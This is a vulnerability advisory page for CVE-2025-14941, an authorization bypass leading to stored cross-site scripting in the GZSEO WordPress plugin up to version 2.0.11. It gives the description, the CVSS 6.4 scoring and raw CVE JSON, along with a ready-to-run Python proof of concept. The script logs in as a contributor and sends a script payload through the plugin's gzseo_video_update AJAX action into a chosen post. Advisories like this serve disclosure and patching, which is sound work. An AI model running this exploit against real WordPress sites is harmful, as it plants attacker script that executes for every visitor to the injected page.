Security Vulnerability Report
中文
CVE-2025-14941 CVSS 6.4 MEDIUM

CVE-2025-14941

Published: 2026-01-24 08:16:07
Last Modified: 2026-04-15 00:35:42

Description

The GZSEO plugin for WordPress is vulnerable to authorization bypass leading to Stored Cross-Site Scripting in all versions up to, and including, 2.0.11. This is due to missing capability checks on multiple AJAX handlers combined with insufficient input sanitization and output escaping on the embed_code parameter. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary content into any post on the site that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

GZSEO plugin for WordPress <= 2.0.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14941 PoC - GZSEO Plugin Authorization Bypass + Stored XSS # Target: WordPress site with GZSEO plugin <= 2.0.11 def exploit_stored_xss(target_url, username, password, malicious_script): """ Exploit the authorization bypass to inject XSS payload into posts """ session = requests.Session() # Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in as {username}...") resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Get WordPress nonce for AJAX requests nonce_url = f"{target_url}/wp-admin/admin-ajax.php" # Exploit: Send malicious embed_code via AJAX (no capability check) exploit_data = { 'action': 'gzseo_video_update', # Vulnerable AJAX action 'post_id': '1', # Target post ID 'embed_code': f'<script>alert("{malicious_script}")</script>', '_wpnonce': 'exploit' # Nonce not properly validated } print(f"[*] Injecting XSS payload into post {exploit_data['post_id']}...") resp = session.post(nonce_url, data=exploit_data) if resp.status_code == 200: print("[+] XSS payload injected successfully!") print(f"[+] Payload will execute when accessing post ID: {exploit_data['post_id']}") return True else: print(f"[-] Exploitation failed with status: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <xss_payload>") print(f"Example: python {sys.argv[0]} http://example.com contributor pass123 'XSS by CVE-2025-14941'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] payload = sys.argv[4] exploit_stored_xss(target, user, pwd, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14941", "sourceIdentifier": "[email protected]", "published": "2026-01-24T08:16:06.593", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GZSEO plugin for WordPress is vulnerable to authorization bypass leading to Stored Cross-Site Scripting in all versions up to, and including, 2.0.11. This is due to missing capability checks on multiple AJAX handlers combined with insufficient input sanitization and output escaping on the embed_code parameter. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary content into any post on the site that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin GZSEO para WordPress es vulnerable a un bypass de autorización que conduce a Cross-Site Scripting Almacenado en todas las versiones hasta la 2.0.11, inclusive. Esto se debe a la falta de comprobaciones de capacidad en múltiples manejadores AJAX combinado con una sanitización de entrada insuficiente y un escape de salida en el parámetro embed_code. Esto hace posible que atacantes autenticados, con nivel de acceso de colaborador y superior, inyecten contenido arbitrario en cualquier publicación del sitio que se ejecutará cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/gzseo/tags/2.0.11/includes/class-gzseo-video-update.php?marks=112,365,369,370,563#L112", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3463366%40gzseo&new=3463366%40gzseo&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c91a4d4d-5bfa-42fd-80b4-7a75ee79db19?source=cve", "source": "[email protected]"}]}}